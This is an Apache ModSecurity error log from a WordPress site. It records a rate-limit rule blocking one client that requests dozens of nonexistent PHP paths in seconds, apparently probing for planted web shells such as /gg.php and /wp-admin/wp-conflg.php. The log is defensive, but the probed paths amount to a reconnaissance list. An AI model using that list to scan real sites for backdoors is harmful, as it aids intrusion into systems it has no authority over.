[Sat Dec 27 03:49:59.184384 2025] [:error] [pid 53443:tid 53454] [client 4.189.107.91:18866] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css.php"] [unique_id "aU7m54vixl-n325_196xZgAAAAE"]
[Sat Dec 27 03:49:59.423112 2025] [:error] [pid 53443:tid 53457] [client 4.189.107.91:18934] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css.php"] [unique_id "aU7m54vixl-n325_196xZwAAAAQ"]
[Sat Dec 27 03:49:59.665796 2025] [:error] [pid 53444:tid 53505] [client 4.189.107.91:18860] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css.php"] [unique_id "aU7m5-u6cLWyKXCdJRwjFAAAAE4"]
[Sat Dec 27 03:49:59.893427 2025] [:error] [pid 53444:tid 53513] [client 4.189.107.91:18920] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css.php"] [unique_id "aU7m5-u6cLWyKXCdJRwjFQAAAFY"]
[Sat Dec 27 03:50:00.121203 2025] [:error] [pid 53444:tid 53510] [client 4.189.107.91:18874] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/admin.php"] [unique_id "aU7m6Ou6cLWyKXCdJRwjFgAAAFM"]
[Sat Dec 27 03:50:00.351003 2025] [:error] [pid 53443:tid 53461] [client 4.189.107.91:18907] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/admin.php"] [unique_id "aU7m6Ivixl-n325_196xaAAAAAg"]
[Sat Dec 27 03:50:00.582387 2025] [:error] [pid 53550:tid 53560] [client 4.189.107.91:18885] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/admin.php"] [unique_id "aU7m6LgHjjFoyoP_DoHGWQAAAMY"]
[Sat Dec 27 03:50:00.811107 2025] [:error] [pid 53443:tid 53464] [client 4.189.107.91:18904] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/admin.php"] [unique_id "aU7m6Ivixl-n325_196xagAAAAs"]
[Sat Dec 27 03:50:01.039838 2025] [:error] [pid 53443:tid 53476] [client 4.189.107.91:18887] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/wp-conflg.php"] [unique_id "aU7m6Yvixl-n325_196xawAAABc"]
[Sat Dec 27 03:50:01.269619 2025] [:error] [pid 53443:tid 53470] [client 4.189.107.91:18916] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/wp-conflg.php"] [unique_id "aU7m6Yvixl-n325_196xbAAAABE"]
[Sat Dec 27 03:50:01.497718 2025] [:error] [pid 53445:tid 53523] [client 4.189.107.91:18929] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/wp-conflg.php"] [unique_id "aU7m6ZExImFfF-26sOBqEQAAAIU"]
[Sat Dec 27 03:50:01.727724 2025] [:error] [pid 53445:tid 53522] [client 4.189.107.91:18933] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/wp-conflg.php"] [unique_id "aU7m6ZExImFfF-26sOBqEgAAAIQ"]
[Sat Dec 27 03:50:01.954662 2025] [:error] [pid 53443:tid 53458] [client 4.189.107.91:18883] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/simple.php"] [unique_id "aU7m6Yvixl-n325_196xbQAAAAU"]
[Sat Dec 27 03:50:02.197675 2025] [:error] [pid 53444:tid 53514] [client 4.189.107.91:18893] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/simple.php"] [unique_id "aU7m6uu6cLWyKXCdJRwjGAAAAFc"]
[Sat Dec 27 03:50:02.441090 2025] [:error] [pid 53550:tid 53561] [client 4.189.107.91:18937] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/simple.php"] [unique_id "aU7m6rgHjjFoyoP_DoHGWgAAAMc"]
[Sat Dec 27 03:50:02.671898 2025] [:error] [pid 53445:tid 53524] [client 4.189.107.91:18826] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/simple.php"] [unique_id "aU7m6pExImFfF-26sOBqEwAAAIY"]
[Sat Dec 27 03:50:02.899506 2025] [:error] [pid 53445:tid 53526] [client 4.189.107.91:13303] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/333.php"] [unique_id "aU7m6pExImFfF-26sOBqFAAAAIg"]
[Sat Dec 27 03:50:03.130302 2025] [:error] [pid 53550:tid 53567] [client 4.189.107.91:13254] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/333.php"] [unique_id "aU7m67gHjjFoyoP_DoHGXAAAAM0"]
[Sat Dec 27 03:50:03.357903 2025] [:error] [pid 53444:tid 53504] [client 4.189.107.91:18908] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/333.php"] [unique_id "aU7m6-u6cLWyKXCdJRwjGQAAAE0"]
[Sat Dec 27 03:50:03.595177 2025] [:error] [pid 53444:tid 53494] [client 4.189.107.91:18926] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/333.php"] [unique_id "aU7m6-u6cLWyKXCdJRwjGgAAAEM"]
[Sat Dec 27 03:50:03.823432 2025] [:error] [pid 53443:tid 53475] [client 4.189.107.91:18918] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gg.php"] [unique_id "aU7m64vixl-n325_196xcQAAABY"]
[Sat Dec 27 03:50:04.050278 2025] [:error] [pid 53550:tid 53573] [client 4.189.107.91:13266] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gg.php"] [unique_id "aU7m7LgHjjFoyoP_DoHGXgAAANM"]
[Sat Dec 27 03:50:04.277463 2025] [:error] [pid 53444:tid 53512] [client 4.189.107.91:18853] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gg.php"] [unique_id "aU7m7Ou6cLWyKXCdJRwjGwAAAFU"]
[Sat Dec 27 03:50:04.504157 2025] [:error] [pid 53444:tid 53500] [client 4.189.107.91:13256] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gg.php"] [unique_id "aU7m7Ou6cLWyKXCdJRwjHAAAAEk"]
[Sat Dec 27 03:50:04.730861 2025] [:error] [pid 53444:tid 53496] [client 4.189.107.91:18820] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fv.php"] [unique_id "aU7m7Ou6cLWyKXCdJRwjHQAAAEU"]
[Sat Dec 27 03:50:04.957705 2025] [:error] [pid 53443:tid 53453] [client 4.189.107.91:13283] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fv.php"] [unique_id "aU7m7Ivixl-n325_196xcgAAAAA"]
[Sat Dec 27 03:50:05.184326 2025] [:error] [pid 53445:tid 53531] [client 4.189.107.91:18854] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fv.php"] [unique_id "aU7m7ZExImFfF-26sOBqFgAAAI0"]
[Sat Dec 27 03:50:05.411702 2025] [:error] [pid 53444:tid 53491] [client 4.189.107.91:18817] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fv.php"] [unique_id "aU7m7eu6cLWyKXCdJRwjHwAAAEA"]
[Sat Dec 27 03:50:05.641675 2025] [:error] [pid 53445:tid 53530] [client 4.189.107.91:18833] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/juuuu.php"] [unique_id "aU7m7ZExImFfF-26sOBqGAAAAIw"]
[Sat Dec 27 03:50:05.868985 2025] [:error] [pid 53443:tid 53455] [client 4.189.107.91:18943] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/juuuu.php"] [unique_id "aU7m7Yvixl-n325_196xdQAAAAI"]
[Sat Dec 27 03:50:06.096585 2025] [:error] [pid 53443:tid 53471] [client 4.189.107.91:18850] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/juuuu.php"] [unique_id "aU7m7ovixl-n325_196xdwAAABI"]
[Sat Dec 27 03:50:06.324018 2025] [:error] [pid 53444:tid 53503] [client 4.189.107.91:13259] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/juuuu.php"] [unique_id "aU7m7uu6cLWyKXCdJRwjIAAAAEw"]
[Sat Dec 27 03:50:06.552834 2025] [:error] [pid 53443:tid 53466] [client 4.189.107.91:18835] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inputs.php"] [unique_id "aU7m7ovixl-n325_196xegAAAA0"]
[Sat Dec 27 03:50:06.793690 2025] [:error] [pid 53443:tid 53464] [client 4.189.107.91:18821] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inputs.php"] [unique_id "aU7m7ovixl-n325_196xfQAAAAs"]
[Sat Dec 27 03:50:07.021157 2025] [:error] [pid 53445:tid 53527] [client 4.189.107.91:18844] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inputs.php"] [unique_id "aU7m75ExImFfF-26sOBqGQAAAIk"]
[Sat Dec 27 03:50:07.248058 2025] [:error] [pid 53550:tid 53556] [client 4.189.107.91:18879] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inputs.php"] [unique_id "aU7m77gHjjFoyoP_DoHGYAAAAMI"]
[Sat Dec 27 03:50:07.475386 2025] [:error] [pid 53443:tid 53473] [client 4.189.107.91:13275] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lv.php"] [unique_id "aU7m74vixl-n325_196xhgAAABQ"]
[Sat Dec 27 03:50:07.712517 2025] [:error] [pid 53444:tid 53497] [client 4.189.107.91:18915] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lv.php"] [unique_id "aU7m7-u6cLWyKXCdJRwjIQAAAEY"]
[Sat Dec 27 03:50:07.938819 2025] [:error] [pid 53443:tid 53455] [client 4.189.107.91:18938] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lv.php"] [unique_id "aU7m74vixl-n325_196xjAAAAAI"]
[Sat Dec 27 03:50:08.165857 2025] [:error] [pid 53443:tid 53462] [client 4.189.107.91:18851] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lv.php"] [unique_id "aU7m8Ivixl-n325_196xjwAAAAk"]
[Sat Dec 27 03:50:08.392423 2025] [:error] [pid 53443:tid 53454] [client 4.189.107.91:13253] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/themes.php"] [unique_id "aU7m8Ivixl-n325_196xkgAAAAE"]
[Sat Dec 27 03:50:08.619140 2025] [:error] [pid 53443:tid 53476] [client 4.189.107.91:13195] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/themes.php"] [unique_id "aU7m8Ivixl-n325_196xlgAAABc"]
[Sat Dec 27 03:50:08.849013 2025] [:error] [pid 53443:tid 53459] [client 4.189.107.91:18831] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/themes.php"] [unique_id "aU7m8Ivixl-n325_196xmQAAAAY"]
[Sat Dec 27 03:50:09.075446 2025] [:error] [pid 53443:tid 53472] [client 4.189.107.91:18824] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/themes.php"] [unique_id "aU7m8Yvixl-n325_196xmwAAABM"]
[Sat Dec 27 03:50:09.309621 2025] [:error] [pid 53550:tid 53570] [client 4.189.107.91:18899] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/la.php"] [unique_id "aU7m8bgHjjFoyoP_DoHGYgAAANA"]
[Sat Dec 27 03:50:09.540000 2025] [:error] [pid 53550:tid 53571] [client 4.189.107.91:13276] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/la.php"] [unique_id "aU7m8bgHjjFoyoP_DoHGYwAAANE"]
[Sat Dec 27 03:50:09.768065 2025] [:error] [pid 53444:tid 53495] [client 4.189.107.91:18871] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/la.php"] [unique_id "aU7m8eu6cLWyKXCdJRwjJQAAAEQ"]
[Sat Dec 27 03:50:09.996776 2025] [:error] [pid 53445:tid 53536] [client 4.189.107.91:13282] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/la.php"] [unique_id "aU7m8ZExImFfF-26sOBqGwAAAJI"]
[Sat Dec 27 03:50:10.224752 2025] [:error] [pid 53445:tid 53535] [client 4.189.107.91:13199] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/upgrade/about.php"] [unique_id "aU7m8pExImFfF-26sOBqHAAAAJE"]
[Sat Dec 27 03:50:10.452036 2025] [:error] [pid 53443:tid 53466] [client 4.189.107.91:18931] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/upgrade/about.php"] [unique_id "aU7m8ovixl-n325_196xqgAAAA0"]
[Sat Dec 27 03:50:10.679101 2025] [:error] [pid 53444:tid 53492] [client 4.189.107.91:13305] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/upgrade/about.php"] [unique_id "aU7m8uu6cLWyKXCdJRwjJgAAAEE"]
[Sat Dec 27 03:50:10.904646 2025] [:error] [pid 53443:tid 53470] [client 4.189.107.91:18863] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/upgrade/about.php"] [unique_id "aU7m8ovixl-n325_196xsAAAABE"]
[Sat Dec 27 03:50:11.134754 2025] [:error] [pid 53550:tid 53562] [client 4.189.107.91:18825] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lsd.php"] [unique_id "aU7m87gHjjFoyoP_DoHGZgAAAMg"]
[Sat Dec 27 03:50:11.361898 2025] [:error] [pid 53445:tid 53539] [client 4.189.107.91:13267] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lsd.php"] [unique_id "aU7m85ExImFfF-26sOBqHQAAAJU"]
[Sat Dec 27 03:50:11.597846 2025] [:error] [pid 53445:tid 53540] [client 4.189.107.91:13220] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lsd.php"] [unique_id "aU7m85ExImFfF-26sOBqHgAAAJY"]
[Sat Dec 27 03:50:11.825017 2025] [:error] [pid 53550:tid 53554] [client 4.189.107.91:18925] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lsd.php"] [unique_id "aU7m87gHjjFoyoP_DoHGaAAAAMA"]
